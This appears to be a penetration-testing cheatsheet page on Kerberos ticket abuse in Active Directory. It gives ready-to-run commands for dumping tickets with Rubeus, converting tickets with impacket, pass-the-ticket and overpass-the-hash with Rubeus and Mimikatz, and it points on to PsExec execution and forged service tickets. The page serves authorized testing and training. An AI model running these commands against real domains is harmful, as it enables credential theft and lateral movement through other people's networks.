Inventory, convert and import tickets in the correct logon context

Needs: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context

Windows commands

REM Baseline
klist
klist tgt
klist sessions
klist -li 0xLUID tickets
klist -li 0xLUID tgt
Rubeus.exe triage
Rubeus.exe dump /luid:0xLUID /nowrap

Linux cache

Field/pattern Interpretation Decision
Client: USER @ REALM Identity represented Map that exact user/computer and realm
Client ending in $ Computer identity Establish machine-account rights; do not treat as a human user
Server: krbtgt/REALM TGT Can request service tickets while valid, within that client's authorization
Server: cifs/HOST CIFS service ticket Only SMB/CIFS on the named host; authorization still applies
Server: ldap/DC_HOST LDAP service ticket LDAP authentication, not replication rights
Other SERVICE/HOST Ticket for that SPN Use matching hostname/service/client
Start/End/Renew Time Validity windows Import cannot revive an expired/not-yet-valid ticket
Ticket flags Kerberos behavior/history Not evidence of privilege
Kdc Called Issuing KDC Not evidence of access to that DC
Encryption/session key Compatibility/policy clue Not privilege or password strength

# Linux cache
klist -c ticket.ccache
export KRB5CCNAME="$PWD/ticket.ccache"

Convert only when a client expects the other container

# Convert only when a client expects the other container
impacket-ticketConverter ticket.kirbi ticket.ccache
impacket-ticketConverter ticket.ccache ticket.kirbi

Windows/Rubeus

REM Windows/Rubeus
Rubeus.exe ptt /ticket:ticket.kirbi
klist

Windows/Mimikatz

# Windows/Mimikatz
kerberos::ptt ticket.kirbi
kerberos::list

Linux

# Linux
export KRB5CCNAME="$PWD/ticket.ccache"
klist

NT hash or AES key to a TGT

REM NT hash or AES key to a TGT
Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist

Mimikatz creates a new process using supplied key material

# Mimikatz creates a new process using supplied key material
sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:cmd.exe

Windows commands

This is a credential/ticket-context transition, not proof that a destination accepts the identity.

REM Baseline
klist
klist tgt
klist sessions

REM When privileges permit inspecting another logon session
klist -li 0xLUID tickets
klist -li 0xLUID tgt

REM Baseline
Rubeus.exe triage
Rubeus.exe dump /luid:0xLUID /nowrap

Do not use klist purge during triage. It destroys cached tickets and can break the current session. Interpret exported tickets using Kerberos and identity transitions.

Verify → Verify ticket client/server/lifetime and an actual service operation; record local versus network identity separately.

If it fails → IP-only naming, realm mismatch, expired lifetime, wrong logon session or unsupported tool Kerberos can break otherwise valid material. More detail ↓

If → then

A password, actual NT hash, AES/NT long-term key or ticket is available → Select password, NT hash, key-to-ticket or ticket authentication
Needs: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization
A destination grants administrative-share write and service-control rights → Execute through uploaded service creation using PsExec
Needs: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context
An IP connection works while hostname/Kerberos access fails → Preserve DNS, Kerberos names and time across a pivot
Needs: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time
A service account key and a concrete compatible service/SPN objective → Forge a service-scoped ticket from the correct service key
Needs: Correct service key/encryption type, domain SID, principal/SPN data and service validation behavior; modern PAC/KDC validation can constrain use

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Inventory, convert and import tickets in the correct logon context

USE WHEN: A valid ticket/cache or a long-term key that can request a TGT
STARTING ACCESS: A domain identity, appropriate host privilege, or a validated effective directory-object right
RESULT: A verified Kerberos service capability or key-to-TGT identity transition

Recognize the clue

Inspect tickets already available in the current logon session or cache before requesting, importing or collecting more material.

klist

SYNTHETIC EXAMPLE OUTPUT

Client: USER @ REALM
Server: krbtgt/REALM @ REALM
Valid end time: FUTURE_TIME

Means: A current TGT can request appropriate service tickets if the KDC/name route and account context work.

Confirm: Distinguish TGT from TGS, format, logon-session scope, lifetime, SPN and destination authorization.

After validation: The matching service accepts the selected ticket context: choose that scoped operation.
Ruled out in this context: Only an unrelated expired service ticket exists: reject it for the proposed destination.
Still inconclusive: Successful import with no service action leaves usable access unproved.

Troubleshooting: IP-only naming, realm mismatch, expired lifetime, wrong logon session or unsupported tool Kerberos can break otherwise valid material.

Do not run klist purge during triage.

Field/pattern	Interpretation	Decision
`Client: USER @ REALM`	Identity represented	Map that exact user/computer and realm
Client ending in `$`	Computer identity	Establish machine-account rights; do not treat as a human user
`Server: krbtgt/REALM`	TGT	Can request service tickets while valid, within that client's authorization
`Server: cifs/HOST`	CIFS service ticket	Only SMB/CIFS on the named host; authorization still applies
`Server: ldap/DC_HOST`	LDAP service ticket	LDAP authentication, not replication rights
Other `SERVICE/HOST`	Ticket for that SPN	Use matching hostname/service/client
`Start/End/Renew Time`	Validity windows	Import cannot revive an expired/not-yet-valid ticket
Ticket flags	Kerberos behavior/history	Not evidence of privilege
`Kdc Called`	Issuing KDC	Not evidence of access to that DC
Encryption/session key	Compatibility/policy clue	Not privilege or password strength

Linux cache:

Convert only when a client expects the other container:

These commands establish a local ticket context. Block 12 selects and validates the remote service.

Windows/Rubeus:

Windows/Mimikatz:

Linux:

NT hash or AES key to a TGT:

Use /aes128: or /aes256: when that is the actual key type and tool version supports it. RC4-based requests can fail where RC4 is disabled even though the NT hash is correct.

Mimikatz creates a new process using supplied key material:

This is a credential/ticket-context transition, not proof that a destination accepts the identity.

When privileges permit inspecting another logon session:

Do not use klist purge during triage. It destroys cached tickets and can break the current session. Interpret exported tickets using Kerberos and identity transitions.

Why it works

Ticket inventory precedes collection or forgery. A TGT, service ticket and long-term key enable different operations; local whoami may remain unchanged while network authentication uses another ticket identity.

Worked example · hypothetical

Observation: a logon context contains a valid CIFS ticket. Test: inspect its server principal and use a compatible SMB action to that hostname. Illustrative output: the protected share is readable. Interpretation: the service-scoped transition is verified; do not claim unrelated host execution.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗